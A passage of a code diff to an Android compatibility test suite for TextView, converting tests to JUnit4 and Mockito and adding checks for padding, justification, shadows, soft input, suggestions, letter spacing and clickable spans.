+        final int paddingRight = res.getDimensionPixelSize(R.dimen.textview_padding_right);
+        final int paddingTop = res.getDimensionPixelSize(R.dimen.textview_padding_top);
+        final int paddingBottom = res.getDimensionPixelSize(R.dimen.textview_padding_bottom);
+        final int iconSize = TestUtils.dpToPx(mActivity, 32);
+
+        final TextView textViewLtr = (TextView) mActivity.findViewById(
+                R.id.textview_compound_drawable_ltr);
+        final int combinedPaddingLeftLtr = paddingLeft + drawablePadding + iconSize;
+        final int combinedPaddingRightLtr = paddingRight + drawablePadding + iconSize;
+        assertEquals(combinedPaddingLeftLtr, textViewLtr.getCompoundPaddingLeft());
+        assertEquals(combinedPaddingLeftLtr, textViewLtr.getCompoundPaddingStart());
+        assertEquals(combinedPaddingLeftLtr, textViewLtr.getTotalPaddingLeft());
+        assertEquals(combinedPaddingLeftLtr, textViewLtr.getTotalPaddingStart());
+        assertEquals(combinedPaddingRightLtr, textViewLtr.getCompoundPaddingRight());
+        assertEquals(combinedPaddingRightLtr, textViewLtr.getCompoundPaddingEnd());
+        assertEquals(combinedPaddingRightLtr, textViewLtr.getTotalPaddingRight());
+        assertEquals(combinedPaddingRightLtr, textViewLtr.getTotalPaddingEnd());
+        assertEquals(paddingTop + drawablePadding + iconSize,
+                textViewLtr.getCompoundPaddingTop());
+        assertEquals(paddingBottom + drawablePadding + iconSize,
+                textViewLtr.getCompoundPaddingBottom());
+
+        final TextView textViewRtl = (TextView) mActivity.findViewById(
+                R.id.textview_compound_drawable_rtl);
+        final int combinedPaddingLeftRtl = paddingLeft + drawablePadding + iconSize;
+        final int combinedPaddingRightRtl = paddingRight + drawablePadding + iconSize;
+        assertEquals(combinedPaddingLeftRtl, textViewRtl.getCompoundPaddingLeft());
+        assertEquals(combinedPaddingLeftRtl, textViewRtl.getCompoundPaddingEnd());
+        assertEquals(combinedPaddingLeftRtl, textViewRtl.getTotalPaddingLeft());
+        assertEquals(combinedPaddingLeftRtl, textViewRtl.getTotalPaddingEnd());
+        assertEquals(combinedPaddingRightRtl, textViewRtl.getCompoundPaddingRight());
+        assertEquals(combinedPaddingRightRtl, textViewRtl.getCompoundPaddingStart());
+        assertEquals(combinedPaddingRightRtl, textViewRtl.getTotalPaddingRight());
+        assertEquals(combinedPaddingRightRtl, textViewRtl.getTotalPaddingStart());
+        assertEquals(paddingTop + drawablePadding + iconSize,
+                textViewRtl.getCompoundPaddingTop());
+        assertEquals(paddingBottom + drawablePadding + iconSize,
+                textViewRtl.getCompoundPaddingBottom());
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetGetBreakStrategy() {
         TextView tv = new TextView(mActivity);
 
-        final PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+        final PackageManager pm = mInstrumentation.getTargetContext().getPackageManager();
 
         // The default value is from the theme, here the default is BREAK_STRATEGY_HIGH_QUALITY for
         // TextView except for Android Wear. The default value for Android Wear is
@@ -5045,6 +6002,8 @@
         assertEquals(Layout.BREAK_STRATEGY_BALANCED, et.getBreakStrategy());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetGetHyphenationFrequency() {
         TextView tv = new TextView(mActivity);
 
@@ -5060,164 +6019,1778 @@
         assertEquals(Layout.HYPHENATION_FREQUENCY_FULL, tv.getHyphenationFrequency());
     }
 
-    public void testSetAndGetCustomSelectionActionModeCallback() {
+    @UiThreadTest
+    @Test
+    public void testSetGetJustify() {
+        TextView tv = new TextView(mActivity);
+
+        assertEquals(Layout.JUSTIFICATION_MODE_NONE, tv.getJustificationMode());
+        tv.setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD);
+        assertEquals(Layout.JUSTIFICATION_MODE_INTER_WORD, tv.getJustificationMode());
+        tv.setJustificationMode(Layout.JUSTIFICATION_MODE_NONE);
+        assertEquals(Layout.JUSTIFICATION_MODE_NONE, tv.getJustificationMode());
+    }
+
+    @Test
+    public void testJustificationByStyle() {
+        TextView defaultTv = findTextView(R.id.textview_justification_default);
+        TextView noneTv = findTextView(R.id.textview_justification_none);
+        TextView interWordTv = findTextView(R.id.textview_justification_inter_word);
+
+        assertEquals(Layout.JUSTIFICATION_MODE_NONE, defaultTv.getJustificationMode());
+        assertEquals(Layout.JUSTIFICATION_MODE_NONE, noneTv.getJustificationMode());
+        assertEquals(Layout.JUSTIFICATION_MODE_INTER_WORD, interWordTv.getJustificationMode());
+    }
+
+    @Test
+    public void testSetAndGetCustomSelectionActionModeCallback() throws Throwable {
         final String text = "abcde";
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = new EditText(mActivity);
-                mActivity.setContentView(mTextView);
-                mTextView.setText(text, BufferType.SPANNABLE);
-                mTextView.setTextIsSelectable(true);
-                mTextView.requestFocus();
-                mTextView.setSelected(true);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new EditText(mActivity);
+            mActivity.setContentView(mTextView);
+            mTextView.setText(text, BufferType.SPANNABLE);
+            mTextView.setTextIsSelectable(true);
+            mTextView.requestFocus();
+            mTextView.setSelected(true);
+            mTextView.setTextClassifier(TextClassifier.NO_OP);
         });
         mInstrumentation.waitForIdleSync();
 
         // Check default value.
         assertNull(mTextView.getCustomSelectionActionModeCallback());
 
-        MockActionModeCallback callbackBlockActionMode = new MockActionModeCallback(false);
-        mTextView.setCustomSelectionActionModeCallback(callbackBlockActionMode);
-        assertEquals(callbackBlockActionMode,
+        final ActionMode.Callback mockActionModeCallback = mock(ActionMode.Callback.class);
+        when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class))).
+                thenReturn(Boolean.FALSE);
+        mTextView.setCustomSelectionActionModeCallback(mockActionModeCallback);
+        assertEquals(mockActionModeCallback,
                 mTextView.getCustomSelectionActionModeCallback());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Set selection and try to start action mode.
-                final Bundle args = new Bundle();
-                args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
-                args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
-                mTextView.performAccessibilityAction(
-                        AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            // Set selection and try to start action mode.
+            final Bundle args = new Bundle();
+            args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
+            args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
+            mTextView.performAccessibilityAction(
+                    AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
         });
         mInstrumentation.waitForIdleSync();
 
-        assertEquals(1, callbackBlockActionMode.getCreateCount());
+        verify(mockActionModeCallback, times(1)).onCreateActionMode(
+                any(ActionMode.class), any(Menu.class));
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Remove selection and stop action mode.
-                mTextView.onTextContextMenuItem(android.R.id.copy);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            // Remove selection and stop action mode.
+            mTextView.onTextContextMenuItem(android.R.id.copy);
         });
         mInstrumentation.waitForIdleSync();
 
         // Action mode was blocked.
-        assertEquals(0, callbackBlockActionMode.getDestroyCount());
+        verify(mockActionModeCallback, never()).onDestroyActionMode(any(ActionMode.class));
 
-        // Overwrite callback.
-        MockActionModeCallback callbackStartActionMode = new MockActionModeCallback(true);
-        mTextView.setCustomSelectionActionModeCallback(callbackStartActionMode);
-        assertEquals(callbackStartActionMode, mTextView.getCustomSelectionActionModeCallback());
+        // Reset and reconfigure callback.
+        reset(mockActionModeCallback);
+        when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class))).
+                thenReturn(Boolean.TRUE);
+        assertEquals(mockActionModeCallback, mTextView.getCustomSelectionActionModeCallback());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Set selection and try to start action mode.
-                final Bundle args = new Bundle();
-                args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
-                args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
-                mTextView.performAccessibilityAction(
-                        AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
+        mActivityRule.runOnUiThread(() -> {
+            // Set selection and try to start action mode.
+            final Bundle args = new Bundle();
+            args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
+            args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
+            mTextView.performAccessibilityAction(
+                    AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
 
-            }
         });
         mInstrumentation.waitForIdleSync();
 
-        assertEquals(1, callbackStartActionMode.getCreateCount());
+        verify(mockActionModeCallback, times(1)).onCreateActionMode(
+                any(ActionMode.class), any(Menu.class));
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Remove selection and stop action mode.
-                mTextView.onTextContextMenuItem(android.R.id.copy);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            // Remove selection and stop action mode.
+            mTextView.onTextContextMenuItem(android.R.id.copy);
         });
         mInstrumentation.waitForIdleSync();
 
         // Action mode was started
-        assertEquals(1, callbackStartActionMode.getDestroyCount());
+        verify(mockActionModeCallback, times(1)).onDestroyActionMode(any(ActionMode.class));
     }
 
-    public void testSetAndGetCustomInseltionActionMode() {
+    @UiThreadTest
+    @Test
+    public void testSetAndGetCustomInsertionActionMode() {
         initTextViewForTyping();
         // Check default value.
         assertNull(mTextView.getCustomInsertionActionModeCallback());
 
-        MockActionModeCallback callback = new MockActionModeCallback(false);
-        mTextView.setCustomInsertionActionModeCallback(callback);
-        assertEquals(callback, mTextView.getCustomInsertionActionModeCallback());
+        final ActionMode.Callback mockActionModeCallback = mock(ActionMode.Callback.class);
+        when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class))).
+                thenReturn(Boolean.FALSE);
+        mTextView.setCustomInsertionActionModeCallback(mockActionModeCallback);
+        assertEquals(mockActionModeCallback, mTextView.getCustomInsertionActionModeCallback());
         // TODO(Bug: 22033189): Tests the set callback is actually used.
     }
 
-    private static class MockActionModeCallback implements ActionMode.Callback {
-        private int mCreateCount = 0;
-        private int mDestroyCount = 0;
-        private final boolean mAllowToStartActionMode;
+    @UiThreadTest
+    @Test
+    public void testRespectsViewFocusability() {
+        TextView v = (TextView) mActivity.findViewById(R.id.textview_singleLine);
+        assertFalse(v.isFocusable());
+        // TextView used to set focusable to true or false verbatim which would break the following.
+        v.setClickable(true);
+        assertTrue(v.isFocusable());
+    }
 
-        public MockActionModeCallback(boolean allowToStartActionMode) {
-            mAllowToStartActionMode = allowToStartActionMode;
-        }
+    @Test
+    public void testTextShadows() throws Throwable {
+        final TextView textViewWithConfiguredShadow =
+                (TextView) mActivity.findViewById(R.id.textview_with_shadow);
+        assertEquals(1.0f, textViewWithConfiguredShadow.getShadowDx(), 0.0f);
+        assertEquals(2.0f, textViewWithConfiguredShadow.getShadowDy(), 0.0f);
+        assertEquals(3.0f, textViewWithConfiguredShadow.getShadowRadius(), 0.0f);
+        assertEquals(Color.GREEN, textViewWithConfiguredShadow.getShadowColor());
 
-        public int getCreateCount() {
-            return mCreateCount;
-        }
+        final TextView textView = (TextView) mActivity.findViewById(R.id.textview_text);
+        assertEquals(0.0f, textView.getShadowDx(), 0.0f);
+        assertEquals(0.0f, textView.getShadowDy(), 0.0f);
+        assertEquals(0.0f, textView.getShadowRadius(), 0.0f);
 
-        public int getDestroyCount() {
-            return mDestroyCount;
+        mActivityRule.runOnUiThread(() -> textView.setShadowLayer(5.0f, 3.0f, 4.0f, Color.RED));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(3.0f, textView.getShadowDx(), 0.0f);
+        assertEquals(4.0f, textView.getShadowDy(), 0.0f);
+        assertEquals(5.0f, textView.getShadowRadius(), 0.0f);
+        assertEquals(Color.RED, textView.getShadowColor());
+    }
+
+    @Test
+    public void testFontFeatureSettings() throws Throwable {
+        final TextView textView = (TextView) mActivity.findViewById(R.id.textview_text);
+        assertTrue(TextUtils.isEmpty(textView.getFontFeatureSettings()));
+
+        mActivityRule.runOnUiThread(() -> textView.setFontFeatureSettings("smcp"));
+        mInstrumentation.waitForIdleSync();
+        assertEquals("smcp", textView.getFontFeatureSettings());
+
+        mActivityRule.runOnUiThread(() -> textView.setFontFeatureSettings("frac"));
+        mInstrumentation.waitForIdleSync();
+        assertEquals("frac", textView.getFontFeatureSettings());
+    }
+
+    private static class SoftInputResultReceiver extends ResultReceiver {
+        private boolean mIsDone;
+        private int mResultCode;
+
+        public SoftInputResultReceiver(Handler handler) {
+            super(handler);
         }
 
         @Override
-        public boolean onPrepareActionMode(ActionMode mode, Menu menu) {
-            return false;
+        protected void onReceiveResult(int resultCode, Bundle resultData) {
+            mResultCode = resultCode;
+            mIsDone = true;
         }
 
-        @Override
-        public void onDestroyActionMode(ActionMode mode) {
-            mDestroyCount++;
-        }
-
-        @Override
-        public boolean onCreateActionMode(ActionMode mode, Menu menu) {
-            mCreateCount++;
-            return mAllowToStartActionMode;
-        }
-
-        @Override
-        public boolean onActionItemClicked(ActionMode mode, MenuItem item) {
-            return false;
-        }
-    };
-
-    private static class MockOnEditorActionListener implements OnEditorActionListener {
-        private boolean isOnEditorActionCalled;
-
-        public boolean onEditorAction(TextView v, int actionId, KeyEvent event) {
-            isOnEditorActionCalled = true;
-            return true;
-        }
-
-        public boolean isOnEditorActionCalled() {
-            return isOnEditorActionCalled;
+        public void reset() {
+            mIsDone = false;
         }
     }
 
-    private void layout(final TextView textView) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(textView);
+    @Test
+    public void testAccessShowSoftInputOnFocus() throws Throwable {
+        if (!mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
+            return;
+        }
+
+        // prepare a test Layout
+        // will add an focusable TextView so that EditText will not get focus at activity start
+        final TextView textView = new TextView(mActivity);
+        textView.setFocusable(true);
+        textView.setFocusableInTouchMode(true);
+        // EditText to test
+        final EditText editText = new EditText(mActivity);
+        editText.setShowSoftInputOnFocus(true);
+        editText.setFocusable(true);
+        editText.setFocusableInTouchMode(true);
+        // prepare and set the layout
+        final LinearLayout layout = new LinearLayout(mActivity);
+        layout.setOrientation(LinearLayout.VERTICAL);
+        layout.addView(textView, new ViewGroup.LayoutParams(LayoutParams.MATCH_PARENT,
+                LayoutParams.WRAP_CONTENT));
+        layout.addView(editText, new ViewGroup.LayoutParams(LayoutParams.MATCH_PARENT,
+                LayoutParams.WRAP_CONTENT));
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout,
+                new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT)));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(editText.getShowSoftInputOnFocus());
+
+        // And emulate click on it
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, editText);
+
+        // Verify that input method manager is active and accepting text
+        final InputMethodManager imManager = (InputMethodManager) mActivity
+                .getSystemService(Context.INPUT_METHOD_SERVICE);
+        PollingCheck.waitFor(imManager::isActive);
+        assertTrue(imManager.isAcceptingText());
+        assertTrue(imManager.isActive(editText));
+
+        // Since there is no API to check that soft input is showing, we're going to ask
+        // the input method manager to show soft input, passing our custom result receiver.
+        // We're expecting to get UNCHANGED_SHOWN, indicating that the soft input was already
+        // showing before showSoftInput was called.
+        SoftInputResultReceiver receiver = new SoftInputResultReceiver(mHandler);
+        imManager.showSoftInput(editText, 0, receiver);
+        PollingCheck.waitFor(() -> receiver.mIsDone);
+        assertEquals(InputMethodManager.RESULT_UNCHANGED_SHOWN, receiver.mResultCode);
+
+        // Close soft input
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+
+        // Reconfigure our edit text to not show soft input on focus
+        mActivityRule.runOnUiThread(() -> editText.setShowSoftInputOnFocus(false));
+        mInstrumentation.waitForIdleSync();
+        assertFalse(editText.getShowSoftInputOnFocus());
+
+        // Emulate click on it
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, editText);
+
+        // Ask input method manager to show soft input again. This time we're expecting to get
+        // SHOWN, indicating that the soft input was not showing before showSoftInput was called.
+        receiver.reset();
+        imManager.showSoftInput(editText, 0, receiver);
+        PollingCheck.waitFor(() -> receiver.mIsDone);
+        assertEquals(InputMethodManager.RESULT_SHOWN, receiver.mResultCode);
+
+        // Close soft input
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+    }
+
+    @Test
+    public void testIsSuggestionsEnabled() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+
+        // Anything without InputType.TYPE_CLASS_TEXT doesn't have suggestions enabled
+        mActivityRule.runOnUiThread(() -> mTextView.setInputType(InputType.TYPE_CLASS_DATETIME));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(() -> mTextView.setInputType(InputType.TYPE_CLASS_PHONE));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(() -> mTextView.setInputType(InputType.TYPE_CLASS_NUMBER));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        // From this point our text view has InputType.TYPE_CLASS_TEXT
+
+        // Anything with InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS doesn't have suggestions enabled
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL |
+                                InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_EMAIL_ADDRESS |
+                                InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        // Otherwise suggestions are enabled for specific type variations enumerated in the
+        // documentation of TextView.isSuggestionsEnabled
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL));
+        assertTrue(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_EMAIL_SUBJECT));
+        assertTrue(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_LONG_MESSAGE));
+        assertTrue(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_SHORT_MESSAGE));
+        assertTrue(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_WEB_EDIT_TEXT));
+        assertTrue(mTextView.isSuggestionsEnabled());
+
+        // and not on any other type variation
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_EMAIL_ADDRESS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_FILTER));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PERSON_NAME));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PHONETIC));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_POSTAL_ADDRESS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_URI));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT |
+                                InputType.TYPE_TEXT_VARIATION_VISIBLE_PASSWORD));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT |
+                                InputType.TYPE_TEXT_VARIATION_WEB_EMAIL_ADDRESS));
+        assertFalse(mTextView.isSuggestionsEnabled());
+
+        mActivityRule.runOnUiThread(
+                () -> mTextView.setInputType(
+                        InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_WEB_PASSWORD));
+        assertFalse(mTextView.isSuggestionsEnabled());
+    }
+
+    @Test
+    public void testAccessLetterSpacing() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        assertEquals(0.0f, mTextView.getLetterSpacing(), 0.0f);
+
+        final CharSequence text = mTextView.getText();
+        final int textLength = text.length();
+
+        // Get advance widths of each character at the default letter spacing
+        final float[] initialWidths = new float[textLength];
+        mTextView.getPaint().getTextWidths(text.toString(), initialWidths);
+
+        // Get advance widths of each character at letter spacing = 1.0f
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView,
+                () -> mTextView.setLetterSpacing(1.0f));
+        assertEquals(1.0f, mTextView.getLetterSpacing(), 0.0f);
+        final float[] singleWidths = new float[textLength];
+        mTextView.getPaint().getTextWidths(text.toString(), singleWidths);
+
+        // Get advance widths of each character at letter spacing = 2.0f
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView,
+                () -> mTextView.setLetterSpacing(2.0f));
+        assertEquals(2.0f, mTextView.getLetterSpacing(), 0.0f);
+        final float[] doubleWidths = new float[textLength];
+        mTextView.getPaint().getTextWidths(text.toString(), doubleWidths);
+
+        // Since letter spacing setter treats the parameter as EM units, and we don't have
+        // a way to convert EMs into pixels, go over the three arrays of advance widths and
+        // test that the extra advance width at letter spacing 2.0f is double the extra
+        // advance width at letter spacing 1.0f.
+        for (int i = 0; i < textLength; i++) {
+            float singleWidthDelta = singleWidths[i] - initialWidths[i];
+            float doubleWidthDelta = doubleWidths[i] - initialWidths[i];
+            assertEquals("At index " + i + " initial is " + initialWidths[i] +
+                ", single is " + singleWidths[i] + " and double is " + doubleWidths[i],
+                    singleWidthDelta * 2.0f, doubleWidthDelta, 0.05f);
+        }
+    }
+
+    @Test
+    public void testTextIsSelectableFocusAndOnClick() throws Throwable {
+        // Prepare a focusable TextView with an onClickListener attached.
+        final View.OnClickListener mockOnClickListener = mock(View.OnClickListener.class);
+        final int safeDoubleTapTimeout = ViewConfiguration.getDoubleTapTimeout() + 1;
+        mActivityRule.runOnUiThread(() -> {
+            // set up a dummy focusable so that initial focus doesn't go to our test textview
+            LinearLayout top = new LinearLayout(mActivity);
+            TextView dummy = new TextView(mActivity);
+            dummy.setFocusableInTouchMode(true);
+            top.addView(dummy, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
+            mTextView = new TextView(mActivity);
+            mTextView.setText("...text 11:11. some more text is in here...");
+            mTextView.setFocusable(true);
+            mTextView.setOnClickListener(mockOnClickListener);
+            top.addView(mTextView, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
+            mActivity.setContentView(top);
+        });
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isFocusable());
+        assertFalse(mTextView.isTextSelectable());
+        assertFalse(mTextView.isFocusableInTouchMode());
+        assertFalse(mTextView.isFocused());
+        assertFalse(mTextView.isInTouchMode());
+
+        // First tap on the view triggers onClick() but does not focus the TextView.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTextView);
+        SystemClock.sleep(safeDoubleTapTimeout);
+        assertTrue(mTextView.isInTouchMode());
+        assertFalse(mTextView.isFocused());
+        verify(mockOnClickListener, times(1)).onClick(mTextView);
+        reset(mockOnClickListener);
+        // So does the second tap.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTextView);
+        SystemClock.sleep(safeDoubleTapTimeout);
+        assertTrue(mTextView.isInTouchMode());
+        assertFalse(mTextView.isFocused());
+        verify(mockOnClickListener, times(1)).onClick(mTextView);
+
+        mActivityRule.runOnUiThread(() -> mTextView.setTextIsSelectable(true));
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isFocusable());
+        assertTrue(mTextView.isTextSelectable());
+        assertTrue(mTextView.isFocusableInTouchMode());
+        assertFalse(mTextView.isFocused());
+
+        // First tap on the view focuses the TextView but does not trigger onClick().
+        reset(mockOnClickListener);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTextView);
+        SystemClock.sleep(safeDoubleTapTimeout);
+        assertTrue(mTextView.isInTouchMode());
+        assertTrue(mTextView.isFocused());
+        verify(mockOnClickListener, never()).onClick(mTextView);
+        reset(mockOnClickListener);
+        // The second tap triggers onClick() and keeps the focus.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTextView);
+        SystemClock.sleep(safeDoubleTapTimeout);
+        assertTrue(mTextView.isInTouchMode());
+        assertTrue(mTextView.isFocused());
+        verify(mockOnClickListener, times(1)).onClick(mTextView);
+    }
+
+    private void verifyGetOffsetForPosition(final int x, final int y) {
+        final int actual = mTextView.getOffsetForPosition(x, y);
+
+        final Layout layout = mTextView.getLayout();
+        if (layout == null) {
+            assertEquals("For [" + x + ", " + y + "]", -1, actual);
+            return;
+        }
+
+        // Get the line which corresponds to the Y position
+        final int line = layout.getLineForVertical(y + mTextView.getScrollY());
+        // Get the offset in that line that corresponds to the X position
+        final int expected = layout.getOffsetForHorizontal(line, x + mTextView.getScrollX());
+        assertEquals("For [" + x + ", " + y + "]", expected, actual);
+    }
+
+    @Test
+    public void testGetOffsetForPosition() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, () -> {
+            mTextView.setText(LONG_TEXT);
+            mTextView.setPadding(0, 0, 0, 0);
+        });
+
+        assertNotNull(mTextView.getLayout());
+        final int viewWidth = mTextView.getWidth();
+        final int viewHeight = mTextView.getHeight();
+        final int lineHeight = mTextView.getLineHeight();
+
+        verifyGetOffsetForPosition(0, 0);
+        verifyGetOffsetForPosition(0, viewHeight / 2);
+        verifyGetOffsetForPosition(viewWidth / 3, lineHeight / 2);
+        verifyGetOffsetForPosition(viewWidth / 2, viewHeight / 2);
+        verifyGetOffsetForPosition(viewWidth, viewHeight);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testOnResolvePointerIcon() throws InterruptedException {
+        final TextView selectableTextView = findTextView(R.id.textview_pointer);
+        final MotionEvent event = createMouseHoverEvent(selectableTextView);
+
+        // A selectable view shows the I beam
+        selectableTextView.setTextIsSelectable(true);
+
+        assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_TEXT),
+                selectableTextView.onResolvePointerIcon(event, 0));
+        selectableTextView.setTextIsSelectable(false);
+
+        // A clickable view shows the hand
+        selectableTextView.setLinksClickable(true);
+        SpannableString builder = new SpannableString("hello world");
+        selectableTextView.setText(builder, BufferType.SPANNABLE);
+        Spannable text = (Spannable) selectableTextView.getText();
+        text.setSpan(
+                new ClickableSpan() {
+                    @Override
+                    public void onClick(View widget) {
+
+                    }
+                }, 0, text.length(), Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+        assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HAND),
+                selectableTextView.onResolvePointerIcon(event, 0));
+
+        // A selectable & clickable view shows hand
+        selectableTextView.setTextIsSelectable(true);
+
+        assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HAND),
+                selectableTextView.onResolvePointerIcon(event, 0));
+
+        // An editable view shows the I-beam
+        final TextView editableTextView = new EditText(mActivity);
+
+        assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_TEXT),
+                editableTextView.onResolvePointerIcon(event, 0));
+    }
+
+    @Test
+    public void testClickableSpanOnClickSingleTapInside() throws Throwable {
+        ClickableSpanTestDetails spanDetails = prepareAndRetrieveClickableSpanDetails();
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mTextView, spanDetails.mXPosInside,
+                spanDetails.mYPosInside);
+        verify(spanDetails.mClickableSpan, times(1)).onClick(mTextView);
+    }
+
+    @Test
+    public void testClickableSpanOnClickDoubleTapInside() throws Throwable {
+        ClickableSpanTestDetails spanDetails = prepareAndRetrieveClickableSpanDetails();
